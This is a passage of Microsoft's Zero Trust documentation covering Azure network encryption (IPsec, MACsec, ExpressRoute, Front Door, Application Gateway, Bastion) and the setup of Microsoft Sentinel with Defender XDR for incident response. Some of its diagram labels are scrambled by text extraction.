IPsec is a group of protocols that provides security for Internet Protocol (IP)
communications. It authenticates and encrypts network packets using a set of
encryption algorithms. IPSec is the security encapsulation protocol used to establish
virtual private networks (VPNs). An IPsec VPN tunnel consists of two phases, phase 1
known as main mode and phase 2 known as quick mode.
Phase 1 of IPsec is tunnel establishment, where peers negotiate parameters for the
Internet Key Exchange (IKE) security association, such as encryption, authentication,
hashing, and Diffie-Hellman algorithms. To verify their identities, peers exchange a
preshared key. Phase 1 of IPsec can operate in two modes: main mode or aggressive
mode. Azure VPN Gateway supports two versions of IKE, IKEv1 and IKEv2, and only
operates in main mode. Main mode ensures the encryption of the identity of the
connection between the Azure VPN Gateway and the on-premises device.
In phase 2 of IPsec, peers negotiate security parameters for data transmission. In this
phase, both peers agree on the encryption and authentication algorithms, lifetime value
of the security association (SA), and traffic selectors (TS) that defines what traffic is
encrypted over the IPsec tunnel. The tunnel created in phase 1 serves as a secure
channel for this negotiation. IPsec can secure IP packets using either Authentication
Header (AH) protocol or Encapsulating Security Payload (ESP) protocol. AH provides
integrity and authentication, while ESP also provides confidentiality (encryption). IPsec
phase 2 can operate in either transport mode or tunnel mode. In transport mode, only
the payload of the IP packet gets encrypted, while in tunnel mode the entire IP packet is
encrypted and a new IP header is added. IPsec phase 2 can be established on top of
either IKEv1 or IKEv2. The current Azure VPN Gateway IPsec implementation supports
only ESP in tunnel mode.
Some of the Azure services that support IPsec are:
Azure VPN Gateway
Site-to-site VPN connections
VNet-to-VNet connections
Point-to-Site connections
Azure Virtual WAN
VPN sites
User VPN configurations
There are no settings that you need to modify to enable IPsec for these services. They're
enabled by default.
MACsec and Azure Key Vault

MACsec (IEEE 802.1AE) is a network security standard that applies the Assume breach
Zero Trust principle at the data link layer by providing authentication and encryption
over an Ethernet link. MACsec assumes that any network traffic, even in the same local
area network, can be compromised or intercepted by malicious actors. MACsec verifies
and protects each frame using a security key that is shared between two network
interfaces. This configuration can only be accomplished between two MACsec-capable
devices.
MACsec is configured with connectivity associations, which are a set of attributes that
network interfaces use to create inbound and outbound security channels. Once
created, traffic over these channels gets exchanged over two MACsec secured links.
MACsec has two connectivity association modes:
Static connectivity association key (CAK) mode: MACsec secured links are
established using a preshared key that includes a connectivity association key
name (CKN) and the assigned CAK. These keys are configured on both ends of the
link.
Dynamic CAK mode: The security keys are generated dynamically using the 802.1x
authentication process, which can use a centralized authentication device such as a
Remote Authentication Dial-In User Service (RADIUS) server.
Microsoft Enterprise Edge (MSEE) devices support static CAK by storing the CAK and
CKN in an Azure Key Vault when you configure Azure ExpressRoute with direct ports. To
access the values in the Azure Key Vault, configure managed identity to authenticate the
ExpressRoute circuit resource. This approach follows the Use least privileged access
Zero Trust principle because only authorized devices can access the keys from the Azure
Key Vault. For more information, see Configure MACsec on ExpressRoute Direct ports.
Step 2: Secure and verify communication from

an on-premises network to Azure VNets
As cloud migration becomes more prevalent across businesses of different scales, hybrid
connectivity plays a key role. It’s crucial to not only secure and protect, but also to verify
and monitor the network communication between your on-premises network and
Azure.
The following diagram shows the reference architecture for securing and verifying
communication from an on-premises network to Azure VNets.
Internet
Azure
Security VNET
User Bastion Subnet
Subnet
Subnet
To requested
VM VM VM
Premium SSH or RDP
Azure Firewall
BE Pool
VPN GW ExRGW
AppGW VPN GW ExRGW
AppGw (WAF)
On-premises APP GW
subnet
Region B
User
Admin
P2S VPN S2S Over ExR
2 Partner Circuits VM VM
Subnet
vWAN Secure
VPN GW ExR GW
Datacenter
Circuits
2
ExpressRoute S2S
Direct Over ExR Direct Port Circuits
Azure Front Door

FD Origin

Storage Accounts
Azure provides two options to connect your on-premises network to resources in an

Azure VNet:
Azure VPN Gateway allows you to create a site-to-site VPN tunnel using IPsec to
encrypt and authenticate network communication between your network in central
or remote offices and an Azure VNet. It also allows individual clients to establish a
point-to-site connection to access resources in an Azure VNet without a VPN
device. For Zero Trust adherence, configure Entra ID authentication and
Conditional Access policies for your Azure VPN Gateway connections to verify the
identity and compliance of the connecting devices. For more information, see Use
Microsoft Tunnel VPN gateway with Conditional Access policies.
Azure ExpressRoute provides a high bandwidth private connection that lets you
extend your on-premises network into Azure with the assistance of a connectivity
provider. Because network traffic doesn’t travel over the public internet, data isn’t
encrypted by default. To encrypt your traffic over ExpressRoute, configure an IPsec
tunnel. However, keep in mind that when running IPsec tunnels over ExpressRoute,
the bandwidth is limited to the tunnel bandwidth and you might need to run
multiple tunnels to match the ExpressRoute circuit bandwidth. For more
information, see Site-to-Site VPN connections over ExpressRoute private peering -
Azure VPN Gateway.
If you’re using ExpressRoute Direct ports, you can increase your network security
by enabling authentication when establishing BGP peers or configuring MACsec to
secure layer 2 communication. MACsec provides encryption for Ethernet frames,
ensuring data confidentiality, integrity, and authenticity between your edge router
and Microsoft’s edge router.
Azure ExpressRoute also supports Azure Monitor for network performance metrics
and alerts.
Encryption can safeguard your data from unauthorized interception, but it also
introduces an extra layer of processing for encrypting and decrypting network traffic
that can affect performance. Network traffic going over the internet can also be
unpredictable because it must travel through multiple network devices that can
introduce network latency. To avoid performance issues, Microsoft recommends using
ExpressRoute because it offers reliable network performance and bandwidth allocation
that you can customize for your workload.
When deciding between Azure VPN Gateway or ExpressRoute, consider the following
questions:
1. What kinds of files and applications are you accessing between your on-premises
network and Azure? Do you require consistent bandwidth for transferring large
volumes of data?
2. Do you need consistent and low latency for your applications to perform
optimally?
3. Do you need to monitor the network performance and health of your hybrid
connectivity?
If you answered yes to any of these questions, then Azure ExpressRoute should be your
primary method of connecting your on-premises network to Azure.
There are two common scenarios where ExpressRoute and Azure VPN Gateway can
coexist:
Azure VPN Gateway can be used to connect your branch offices to Azure while
having your main office connected using ExpressRoute.
You can also use Azure VPN Gateway as a backup connection to Azure for your
central office if your ExpressRoute service has an outage.
Step 3: Secure and verify communication within

and across Azure VNets
Traffic within Azure has an underlying level of encryption. When traffic moves between
VNets in different regions, Microsoft uses MACsec to encrypt and authenticate peering
traffic at the data-link layer.
The following diagram shows the reference architecture for securing and verifying
communication within and across Azure VNets.
Internet
Azure
Security VNET
User Bastion Subnet
3 Subnet
Subnet
Admin Bastion SSH or RDP VNet
To requested encryption
VM VM
Azure Firewall DNAT
VM
VM VM (native or
Premium SSH or RDP peering)
Azure Firewall
BE Pool
VPN GW ExRGW
AppGW VPN GW ExRGW Regional
Subnet Subnet AppGw (WAF) 3 DataLink Region A
On-premises APP GW MACsec
subnet
Region B
User
Admin
VM VM
Subnet
vWAN Secure
VPN GW ExR GW
Datacenter
Circuits
Azure Front Door

FD Origin

Storage Accounts
However, encryption alone isn't enough to ensure Zero Trust. You should also verify and
monitor the network communication within and across Azure VNets. Further encryption
and verification between VNets are possible with the help of Azure VPN Gateway or
network virtual appliances (NVAs) but isn’t a common practice. Microsoft recommends
designing your network topology to use a centralized traffic inspection model that can
enforce granular policies and detect anomalies.
To reduce the overhead of configuring a VPN gateway or virtual appliance, enable the
VNet encryption feature for certain virtual machine sizes to encrypt and verify traffic
between virtual machines at the host level, within a VNet, and across VNet peerings.
Step 4: Implement encryption at the

application layer
Application layer encryption plays a key factor for Zero Trust that mandates all data and
communications are encrypted when users are interacting with web applications or
devices. Application layer encryption ensures that only verified and trusted entities can
access web applications or devices.
The following diagram shows the reference architecture for implementing encryption at
the application layer.
Internet
Azure
Security VNET
User Bastion Subnet
Subnet
Subnet
To requested
VM VM VM
Premium SSH or RDP
Azure Firewall
BE Pool
4 VPN GW ExRGW
AppGW VPN GW ExRGW
AppGw (WAF)
On-premises APP GW
subnet
Region B
User Bastion
Admin
VM VM
Subnet
vWAN Secure
VPN GW ExR GW
Datacenter
Circuits
S2S
4 Azure Front Door

FD Origin

Front Door Storage Accounts
One of the most common examples of encryption at the application layer is Hypertext
Transfer Protocol Secure (HTTPS), which encrypts data between a web browser and a
web server. HTTPS uses Transport Layer Security (TLS) protocol to encrypt client-server
communication and uses a TLS digital certificate to verify the identity and
trustworthiness of the website or domain.
Another example of application layer security is Secure Shell (SSH) and Remote Desktop
Protocol (RDP) that encrypts data between the client and server. These protocols also
support multifactor authentication and Conditional Access policies to ensure that only
authorized and compliant devices or users can access remote resources. See Step 5 for
information about securing SSH and RDP connections to Azure virtual machines.
Protection for Azure web applications

You can use Azure Front Door or Azure Application Gateway to protect your Azure web
applications.
Azure Front Door
Azure Front Door is a global distribution service that optimizes the content delivery to
end users through Microsoft's edge locations. With features such as Web Application
Firewall (WAF) and Private Link service, you can detect and block malicious attacks on
your web applications at the edge of the Microsoft network while privately accessing
your origins using the Microsoft internal network.
To protect your data, traffic to Azure Front Door endpoints is protected using HTTPS
with end-to-end TLS for all traffic going to and from its endpoints. Traffic is encrypted
from the client to the origin and from the origin to the client.
Azure Front Door handles HTTPS requests and determines which endpoint in its profile
has the associated domain name. Then it checks the path and determines which routing
rule matches the path of the request. If caching is enabled, Azure Front Door checks its
cache to see if there's a valid response. If there's no valid response, Azure Front Door
selects the best origin that can serve the content requested. Before the request is sent
to the origin, a rule set can be applied to the request to change the header, query string,
or origin destination.
Azure Front Door supports both front end and back-end TLS. Front end TLS encrypts
traffic between the client and Azure Front Door. Back-end TLS encrypts traffic between
Azure Front Door and the origin. Azure Front Door supports TLS 1.2 and TLS 1.3. You can
configure Azure Front Door to use a custom TLS certificate or use a certificate managed
by Azure Front Door.
７ Note
You can also use the Private Link feature for connectivity to NVAs for further packet
inspection.
Azure Application Gateway is a regional load balancer that operates at Layer 7. It routes
and distributes web traffic based on HTTP URL attributes. It can route and distribute
traffic using three different approaches:
HTTP only: Application Gateway receives and routes incoming HTTP requests to
the appropriate destination in unencrypted form.
SSL Termination: Application Gateway decrypts incoming HTTPS requests at the
instance level, inspects them, and routes them unencrypted to the destination.
End-to-End TLS: Application Gateway decrypts incoming HTTPS requests at the
instance level, inspects them, and re-encrypts them before routing them to the
destination.
The most secure option is end-to-end TLS, which allows encryption and transmission of
sensitive data by requiring the use of Authentication Certificates or Trusted Root
Certificates. It also requires uploading these certificates to the backend servers and
ensuring these back end servers are known to Application Gateway. For more
information, see Configure end-to-end TLS by using Application Gateway.
Additionally, on-premises users or users on virtual machines in another VNet can use
the internal front end of Application Gateway with the same TLS capabilities. Along with
encryption, Microsoft recommends that you always enable WAF for more front-end
protection for your endpoints.
Step 5: Use Azure Bastion to protect Azure

virtual machines
Azure Bastion is a managed PaaS service that allows you securely connect to your virtual
machines over a TLS connection. This connectivity can be established from the Azure
portal or through a native client to the private IP address on the virtual machine.
Advantages of using Bastion include:
Azure virtual machines don't need a public IP address. Connections are over TCP
port 443 for HTTPS and can traverse most firewalls.
Virtual machines are protected against port scanning.
The Azure Bastion platform is constantly updated and protected against zero-day
exploits.
With Bastion, you can control the RDP and SSH connectivity to your virtual machine
from a single point of entry. You can manage individual sessions from the Bastion
service in the Azure portal. You can also delete or force a disconnect of an on-going
remote session if you suspect a user isn't supposed to be connecting to that machine.
The following diagram shows the reference architecture for using Azure Bastion to
protect Azure virtual machines.
Internet
Azure
Security VNET
User Bastion Subnet
Subnet
Subnet
To requested
VM VM VM
Premium SSH or RDP
Azure Firewall
BE Pool
VPN GW ExRGW
VPN GW ExRGW
AppGw (WAF)
On-premises APP GW
subnet
5 Region B
User Bastion
Admin
VM VM
Subnet
vWAN Secure
VPN GW ExR GW
Datacenter
Circuits
S2S
Azure Front Door

FD Origin

Storage Accounts
To protect your Azure virtual machine, deploy Azure Bastion and begin using RDP and
SSH to connect to your virtual machines with their private IP addresses.
Connect your on-premises network to Azure with VPN Gateway
Connect your on-premises network to the Microsoft global network by using
ExpressRoute
Introduction to Azure Front Door
Configure Azure Application Gateway
Introduction to Azure Bastion
Next Steps
For additional information about applying Zero Trust to Azure networking, see:
Spoke virtual networks in Azure
Hub virtual networks in Azure
Azure Virtual WAN
References
this article.
Azure VPN Gateway

Azure Virtual WAN
Configure MACsec on ExpressRoute Direct ports
Use Microsoft Tunnel VPN gateway with Conditional Access policies
Azure ExpressRoute
VNet encryption
Azure Front Door
Application Gateway
Azure Bastion
Feedback
Implement Microsoft Sentinel and
Microsoft Defender XDR for Zero Trust
Article • 03/07/2024
This solution guide walks through the process of setting up Microsoft eXtended
detection and response (XDR) tools together with Microsoft Sentinel to accelerate your
organization’s ability to respond to and remediate cybersecurity attacks.
Microsoft Defender XDR is an XDR solution that automatically collects, correlates, and
analyzes signal, threat, and alert data from across your Microsoft 365 environment.
Microsoft Sentinel is a cloud-native solution that provides security information and

event management (SIEM) and security orchestration, automation, and response (SOAR)
capabilities. Together, Microsoft Sentinel and Microsoft Defender XDR provide a
comprehensive solution to help organizations defend against modern attacks.
This guidance helps you mature your Zero Trust architecture by mapping the principles
of Zero Trust in the following ways.
ﾉ Expand table
Zero Trust Met by

Principle
Verify Microsoft Sentinel collects data from across the environment, performs analysis
explicitly of threats and anomalies, and can respond with automation.
Microsoft Defender XDR provides extended detection and response across

users, identities, devices, apps, and emails. Risk-based signals captured by
Microsoft Defender XDR can be used by Microsoft Sentinel to take actions.
Use least Microsoft Sentinel can detect anomalous activity through its User Entity
privileged Behavioral Analytics (UEBA) engine.
access
Threat Intelligence with Microsoft Sentinel can import threat intelligence data
from Microsoft or third-party providers to detect new, emerging threats and
provide extra context for investigations.
Microsoft Defender XDR has Microsoft Entra ID Protection, which can block
users based on the level of risk with identity. Data can be fed into Microsoft
Sentinel for further analysis and automation.
Assume Microsoft Defender XDR continuously scans the environment for threats and
breach vulnerabilities. Microsoft Sentinel analyzes collected data, behavioral trend of
entities to detect suspicious activity, anomalies and multi-stage threats across
Zero Trust Met by
Principle
enterprise.
Microsoft Sentinel has workbook visualizations that can help organizations

harden the environment, such as the Zero Trust workbook.
Microsoft Defender XDR and Sentinel can implement automated remediation

tasks, including automated investigations, device isolation, and data quarantine.
Device risk can be used as a signal to feed into Microsoft Entra Conditional
Access.
Microsoft Sentinel and XDR architecture

The following illustration shows how Microsoft's XDR solution seamlessly integrates with
Microsoft Sentinel.
Azure Services
Third-party Other Cloud Microsoft SQL Azure Storage
Server VMs Azure DNS
SaaS and SaaS and On-premises Endpoints security and Entra ID and Storage Azure Resource
AD DS and threat Entra ID Network Traffic Manager
PaaS apps PaaS apps Microsoft 365 (devices) Industrial IoT Azure Key Vault
AD FS intelligence
Protec on Azure App Services Azure App Service
Azure Arc-enabled resources
Signals
Microsoft Microsoft Microsoft Microsoft
Defender Defender Defender Defender
for Cloud for Office for for
Apps 365 Identity Endpoint Microsoft Defender for
Cloud

XDR
SecOps analysis
SIEM data and response
Microsoft Sentinel
Third-party &
partners

Multi-cloud
In this diagram:
Insights from signals across your entire organization feed into Microsoft Defender
XDR and Microsoft Defender for Cloud.
Microsoft Defender XDR and Microsoft Defender for Cloud send SIEM log data
through Microsoft Sentinel connectors.
SecOps teams can then analyze and respond to threats identified in the Microsoft
Sentinel and Microsoft Defender portals.
Microsoft Sentinel provides support for multi-cloud environments and integrates
with third-party apps and partners.
Implementing Microsoft Sentinel and Microsoft
Defender XDR for Zero Trust
Microsoft Defender XDR is an XDR solution that complements Microsoft Sentinel. An
XDR pulls raw telemetry data from across multiple services like cloud applications, email
security, identity, and access management.
Using artificial intelligence (AI) and machine learning, the XDR then performs automatic
analysis, investigation, and response in real time. The XDR solution also correlates
security alerts into larger incidents, providing security teams greater visibility into
attacks, and provides incident prioritization, helping analysts understand the risk level of
the threat.
With Microsoft Sentinel, you can connect to many security sources using built-in
connectors and industry standards. With its AI you can correlate multiple low fidelity
signals spanning multiple sources to create a complete view of ransomware kill chain
and prioritized alerts.
Leveraging SIEM and XDR capabilities

In this section, we'll look into a typical attack scenario involving a phishing attack then
proceed with how to respond to the incident with Microsoft Sentinel and Microsoft
Defender XDR.
Common attack order

The following diagram shows a common attack order of a phishing scenario.
Microsoft Sentinel
SIEM data
Signals
Microsoft Defender for Office 365 Microsoft Defender Microsoft Entra ID and Microsoft Defender for Cloud Apps
for Endpoint Entra ID Protection
Attacker
downloads
sensitive files
Attacker sends User opens Attachment Malware steals

Attacker moves laterally
across Microsoft 365
from a
SharePoint

phishing email attachment installs malware user credentials apps and data folder
The diagram also shows the Microsoft security products in place to detect each attack
step and how attack signals and SIEM data flow to Microsoft Defender XDR and
Microsoft Sentinel.
Here is a summary of the attack.
ﾉ Expand table
Attack step Detection service Defenses in place

and signal source
1. Attacker sends Microsoft Protects mailboxes with advanced anti-phishing

phishing email Defender for features that can protect against malicious
Office 365 impersonation-based phishing attacks.
2. User opens Microsoft The Microsoft Defender for Office 365 Safe
attachment Defender for Attachments feature opens attachments in an
Office 365 isolated environment for additional scanning of
threats (detonation).
3. Attachment installs Microsoft Protects endpoints from malware with its next
malware Defender for generation protection features, such as cloud-
Endpoint delivered protection and behavior-
based/heuristic/real-time antivirus protection.
4. Malware steals user Microsoft Entra ID Protects identities by monitoring user behavior and
credentials and Microsoft activities, detecting lateral movement, and alerting
Entra ID Protection on anomalous activity.
Attack step Detection service Defenses in place
and signal source
5. Attacker moves Microsoft Can detect anomalous activity of users accessing

laterally across Defender for cloud apps.
Microsoft 365 apps Cloud Apps
and data
6. Attacker Microsoft Can detect and respond to mass download events

downloads sensitive Defender for of files from SharePoint.
files from a Cloud Apps
SharePoint folder
Incident response using Microsoft Sentinel and Microsoft

Defender XDR
Now that we've seen how a common attack takes place, let's look into leveraging the
integration of Microsoft Sentinel and Microsoft Defender XDR for incident response.
Here is the process of responding to an incident with Microsoft Defender XDR and
Microsoft Sentinel:
1. Triage the incident in the Microsoft Sentinel portal.

2. Move over to the Microsoft Defender portal to start your investigation.
3. Where needed, continue the investigation in the Microsoft Sentinel portal.
4. Resolve the incident in the Microsoft Sentinel portal.
The following diagram shows the process, starting with discovery and triage in Microsoft
Sentinel.
Start investigation in Continue

Triage in Resolve incident
Microsoft Defender investigation in
Microsoft Sentinel in Microsoft Sentinel
XDR Microsoft Sentinel
Understand scope Understand the attack Understand scope Orchestration

of incident story, investigate of incident playbook
malicious entities
Review self-healing Perform additional

Get Incident insights investigation & other remediation actions
remediation actions
Record evidence
Add prevention for incident
Close false positives
measures management
Add custom measures


For more information, see Respond to an incident using Microsoft Sentinel and
Key capabilities
To implement a Zero trust approach in managing incidents, use these Microsoft Sentinel
and XDR features.
ﾉ Expand table
Capability or Description Product

feature
Automated AIR capabilities are designed to examine alerts and take Microsoft
Investigation & immediate action to resolve breaches. AIR capabilities Defender XDR
Response (AIR) significantly reduce alert volume, allowing security
operations to focus on more sophisticated threats and
other high-value initiatives.
Advanced hunting Advanced hunting is a query-based threat hunting tool Microsoft

that lets you explore up to 30 days of raw data. You can Defender XDR
proactively inspect events on your network to locate
threat indicators and entities. The flexible access to data
enables unconstrained hunting for both known and
potential threats.
Custom file Prevent further propagation of an attack in your Microsoft

indicators organization by banning potentially malicious files or Defender XDR
suspected malware.
Cloud discovery Cloud Discovery analyzes traffic logs collected by Microsoft

Defender for Endpoint and assesses identified apps Defender for
against the cloud app catalog to provide compliance Cloud Apps
and security information.
Custom network By creating indicators for IPs and URLs or domains, you Microsoft
indicators can now allow or block IPs, URLs, or domains based on Defender XDR
your own threat intelligence.
Endpoint detection Provides added protection from malicious artifacts when Microsoft
and response (EDR) Microsoft Defender Antivirus (MDAV) isn't the primary Defender XDR
Block antivirus product and is running in passive mode. EDR in
block mode works behind the scenes to remediate
malicious artifacts that were detected by EDR
capabilities.
Device response Quickly respond to detected attacks by isolating devices Microsoft

capabilities or collecting an investigation package Defender XDR
Live response Live response gives security operations teams Microsoft

instantaneous access to a device (also referred to as a Defender XDR
machine) using a remote shell connection. This gives you
the power to do in-depth investigative work and take
feature
immediate response actions to promptly contain

identified threats in real time.
Secure cloud A development security operations (DevSecOps) Microsoft

applications solution that unifies security management at the code Defender for
level across multicloud and multiple-pipeline Cloud
environments.
Improve your A cloud security posture management (CSPM) solution Microsoft

security posture that surfaces actions that you can take to prevent Defender for
breaches. Cloud
Protect cloud A cloud workload protection platform (CWPP) with Microsoft

workloads specific protections for servers, containers, storage, Defender for
databases, and other workloads. Cloud
User and Entity Analyzes behavior of organization entities such as users, Microsoft
Behavioral Analytics hosts, IP addresses, and applications) Sentinel
(UEBA)
Fusion A correlation engine based on scalable machine learning Microsoft

algorithms. Automatically detects multistage attacks also Sentinel
known as advanced persistent threats (APT) by
identifying combinations of anomalous behaviors and
suspicious activities that are observed at various stages
of the kill chain.
Threat Intelligence Use Microsoft third-party providers to enrich data to Microsoft

provide extra context around activities, alerts, and logs Sentinel
in your environment.
Automation Automation rules are a way to centrally manage Microsoft

automation in Microsoft Sentinel, by allowing you to Sentinel
define and coordinate a small set of rules that can apply
across different scenarios.
Anomaly rules Anomaly rule templates use machine learning to detect Microsoft
specific types of anomalous behavior. Sentinel
Scheduled queries Built-in rules written by Microsoft security experts that Microsoft
search through logs collected by Sentinel for suspicious Sentinel
activity chains, known threats.
Near-real-time NRT rules are limited set of scheduled rules, designed to Microsoft
(NRT) rules run once every minute, in order to supply you with Sentinel
information as up-to-the-minute as possible.
feature
Hunting To help security analysts look proactively for new Microsoft

anomalies that weren't detected by your security apps or Sentinel
even by your scheduled analytics rules, Microsoft
Sentinel's built-in hunting queries guide you into asking
the right questions to find issues in the data you already
have on your network.
Microsoft Defender Microsoft Defender XDR Connector synchronizes logs Microsoft

XDR Connector and incidents to Microsoft Sentinel. Defender XDR
and Microsoft
Sentinel
Data connectors Allow for the ingestion of data for analysis in Microsoft Microsoft
Sentinel. Sentinel
Content hub Zero Trust (TIC 3.0) includes a workbook, analytics rules, Microsoft
solution -Zero Trust and a playbook, which provide an automated Sentinel
(TIC 3.0) visualization of Zero Trust principles, cross-walked to the
Trust Internet Connections framework, helping
organizations to monitor configurations over time.
Security Leveraging automation rules and playbooks in response Microsoft

Orchestration, to security threats increases your SOC's effectiveness Sentinel
Automation, and and saves you time and resources.
Response (SOAR)
What's in this solution

This solution steps you through the implementation of Microsoft Sentinel and XDR so
that your security operations team can effectively remediate incidents using a Zero Trust
approach.
ﾉ Expand table
Training Connect Microsoft Defender XDR to Microsoft Sentinel
Learn about the configuration options and data provided by Microsoft Sentinel
connectors for Microsoft Defender XDR.
Start >
Next steps
Use these steps to implement Microsoft Sentinel and XDR for a Zero Trust approach:
1. Set up your XDR tools

2. Architect your Microsoft Sentinel workspace
3. Ingest data sources
4. Respond to an incident
Also see these additional articles for applying Zero Trust principles to Azure:
Azure IaaS overview

Azure storage
Virtual machines
Spoke virtual network with Azure PaaS Services
Azure Virtual WAN
Feedback
Step 1. Set up your XDR tools
Article • 03/07/2024
This article guides you to the best approaches for setting up Microsoft Defender 365
and other Microsoft XDR tools, which is the first step in setting up an integrated
environment with Microsoft Sentinel.
The Microsoft Defender products are best in class for a security suite. Mature
organizations unify their security platforms to ensure solutions are sharing information
with each other for a more granular threat detection. Microsoft XDR tools have settings
that allow the utilities to forward their information to each other. Additionally, each tool
is designed to enrich data to each other.
Pilot and deploy Microsoft Defender XDR

Microsoft provides guidance to help you set up and get started with Microsoft Defender
XDR components. The component services that are part of the Microsoft Defender XDR
stack are:

Recommended order of enabling Microsoft Defender

XDR components
If you haven't already set up Microsoft Defender XDR components, Microsoft
recommends enabling the components in the order illustrated:
1. Create the evaluation environment
2. Set up and pilot Defender for Identity
3. Set up Defender for Office 365
4. Set up Defender for Endpoint
5. Set up Defender for Cloud apps
6. Investigate and respond to threats
7. Promote your evaluation to production
This order is commonly recommended and designed to apply the value of the
capabilities quickly based on how much effort is typically required to deploy and
configure the capabilities. For example, Defender for Office 365 can be configured in
less time than it takes to enroll devices in Defender for Endpoint. You should prioritize
the components to meet your business needs, and can enabled in a different order.
Use the following guidance to enable Microsoft 365 capabilities and integrate these with
other components.
ﾉ Expand table
Task Description See . . .
Pilot and deploy Use this methodical process to deploy the Evaluate and pilot
Microsoft components of Microsoft Defender XDR. Microsoft Defender
Defender XDR XDR
Integrate Defender for Cloud Apps uses the traffic information Microsoft Defender
Microsoft collected by Defender for Endpoint about the cloud for Endpoint
Defender for apps and services being accessed from IT-managed integration with
Endpoints with devices specified in the prerequisites below. The Microsoft Defender
Microsoft integration doesn't require any additional for Cloud Apps
Defender for deployment and can be enabled directly from the
Cloud Apps settings in Defender for Endpoint and Microsoft
Defender XDR.
Integrate Microsoft Defender for Cloud Apps integrates with Microsoft Defender
Microsoft Microsoft Defender for Identity to provide user entity for Identity
Defender for behavioral analytics (UEBA) across a hybrid integration
Identity with environment - both cloud app and on-premises.
Defender for
Cloud Apps
Integrate Microsoft Defender for Cloud Apps lets you Microsoft Purview
Microsoft Purview automatically apply sensitivity labels from Microsoft Information
with Defender for Purview Information Protection. You can then Protection
Cloud Apps investigate files by using these labels. integration
Microsoft Defender portal
The Microsoft Defender portal combines protection, detection, investigation, and
response to email, collaboration, identity, device, and cloud app threats, in a central
place. The Microsoft Defender XDR unified portal emphasizes quick access to
information, simpler layouts, and bringing related information together for easier use.
The unified portal includes:
Microsoft Defender for Office 365 Microsoft Defender for Office 365 helps
organizations secure their enterprise with a set of prevention, detection,
investigation and hunting features to protect email, and Office 365 resources.
Microsoft Defender for Endpoint delivers preventative protection, post-breach
detection, automated investigation, and response for devices in your organization.
Microsoft Defender for Identity is a cloud-based security solution that leverages
your on-premises Active Directory signals to identify, detect, and investigate
advanced threats, compromised identities, and malicious insider actions directed at
your organization.
Microsoft Defender for Cloud Apps is a comprehensive cross-SaaS and PaaS
solution bringing deep visibility, strong data controls, and enhanced threat
protection to your cloud apps.
Watch this short video to learn about the Microsoft Defender portal.
https://www.microsoft.com/en-us/videoplayer/embed/RWBKau?postJsllMsg=true
Enable Microsoft Entra ID Protection

Microsoft Defender XDR also ingests and includes the signals of Microsoft Entra ID
Protection, as illustrated below.
Microsoft Entra ID Protection is licensed separately from Microsoft Defender XDR. It is
included with Microsoft Entra ID P2.
Microsoft Entra ID Protection evaluates risk data from billions of sign-in attempts and
uses this data to evaluate the risk of each sign-in to your environment. This data is used
by Microsoft Entra ID to allow or prevent account access, depending on how Conditional
Access policies are configured.
For this solution and target scenario, we'll also ingest the signals from Microsoft Entra ID
Protection into Sentinel. To enable Microsoft Entra ID Protection, use the following
resources.
ﾉ Expand table
Integrate Microsoft Entra Microsoft Defender for Cloud Apps integrates with Microsoft
ID Protection with Microsoft Entra ID Protection to provide user entity Entra ID
Defender for Cloud Apps behavioral analytics (UEBA) across a hybrid Protection
environment.
Enable Microsoft Defender for Cloud

You can complete the deployment of Microsoft XDR tools by enabling Microsoft
Defender for Cloud, and then include these signals in your Sentinel workspace.
Use the following guidance to enable Defender for Cloud and integrate capabilities.
ﾉ Expand table
Set up Recommended steps to enable Microsoft Quickstart: Set up Microsoft

Defender for Defender for Cloud and the enhanced security Defender for Cloud
Cloud features
Protect your With Microsoft Defender for Servers (included Protect your endpoints with
server with Defender for Cloud), you gain access to Defender for Cloud's
resources and can deploy Microsoft Defender for integrated EDR solution:
Endpoint to your server resources. Microsoft Defender for
Endpoint
Explore security solutions in Microsoft Defender XDR
ﾉ Expand table
Training Explore security solutions in Microsoft Defender XDR
This module introduces you to several features in Microsoft 365 that can help
protect your organization against cyberthreats, detect when a user or computer has
been compromised, and monitor your organization for suspicious activities.
Start >
Enable and manage Microsoft Defender for Cloud
ﾉ Expand table
Training Enable and manage Microsoft Defender for Cloud
Use Microsoft Defender for Cloud to strengthen security posture and protect
workloads against modern threats.
Start >
Next steps
Continue to Step 2 to architect a Sentinel workspace.
Feedback
Step 2. Architect your Microsoft Sentinel
workspace
Article • 03/07/2024
Deploying the Microsoft Sentinel environment involves designing a workspace

configuration to meet your security and compliance requirements. The provisioning
process includes creating Log Analytics workspaces and configuring the appropriate
Microsoft Sentinel options.
This article provides recommendations on how to design and implement Microsoft

Sentinel workspaces for the principles of Zero Trust.
７ Note
If you are new to Microsoft Sentinel workspaces, see design strategies and criteria
in Design a Log Analytics workspace architecture.
Step 1: Design a governance strategy

If your organization has many Azure subscriptions, you may need a way to efficiently
manage access, policies, and compliance for those subscriptions. Management groups
provide a governance scope for subscriptions. When you organize your subscriptions
within management groups, the governance conditions you configure for a
management group apply to the subscriptions it contains. For more information, see
Organize your resources with management groups.
For example, the Microsoft Sentinel workspace in the following diagram is in the
Security subscription under the Platform management group, which is part of the
Microsoft Entra tenant.
Azure Entra ID tenant
RBAC and Azure Policies
Platform management group Landing Zones management group
Security Azure Management Azure Identity Azure

SAP Azure subscription Corp Azure subscription
subscription subscription subscription
Microsoft Operations
Sentinel workspace
workspace 
The Security Azure subscription and the Microsoft Sentinel workspace inherit the role-
based access control (RBAC) and Azure policies that are applied to the Platform
management group.
Step 2: Create Log Analytics workspaces

To use Microsoft Sentinel, the first step is to create your Log Analytics workspaces. A
single Log Analytics workspace might be sufficient for many environments, but many
organizations create multiple workspaces to optimize costs and better meet different
business requirements.
It is a best practice to create separate workspaces for the operational and security data
for data ownership and cost management for Microsoft Sentinel. For example, if there’s
more than one person administering operational and security roles, your first decision
for Zero Trust is whether to create separate workspaces for those roles.
For more information, see Design criteria for Log Analytics workspaces.
For an example of separate workspaces for operation and security roles, see Contoso's
solution.
Log Analytics workspace design considerations

For a single tenant, there are two ways Microsoft Sentinel workspaces can be
configured:
Single tenant with a single Log Analytics workspace. In this case, the workspace
becomes the central repository for logs across all resources within the tenant.
Advantages:
Central consolidation of logs.
Easier to query information.
Log Analytics RBAC to control access. For more information, see Manage
access to Log Analytics workspaces - Azure Monitor.
Microsoft Sentinel RBAC for service RBAC. For more information, see Roles
and permissions in Microsoft Sentinel.
Disadvantages:
May not meet governance requirements.
There is a bandwidth cost between regions.
Single tenant with regional Log Analytics workspaces.

Advantages:
No cross-region bandwidth costs.
May be required to meet governance.
Granular data access control.
Granular retention settings.
Split billing.
Disadvantages:
No central pane of glass.
Analytics, workbooks, and other configurations must be deployed multiple
times.
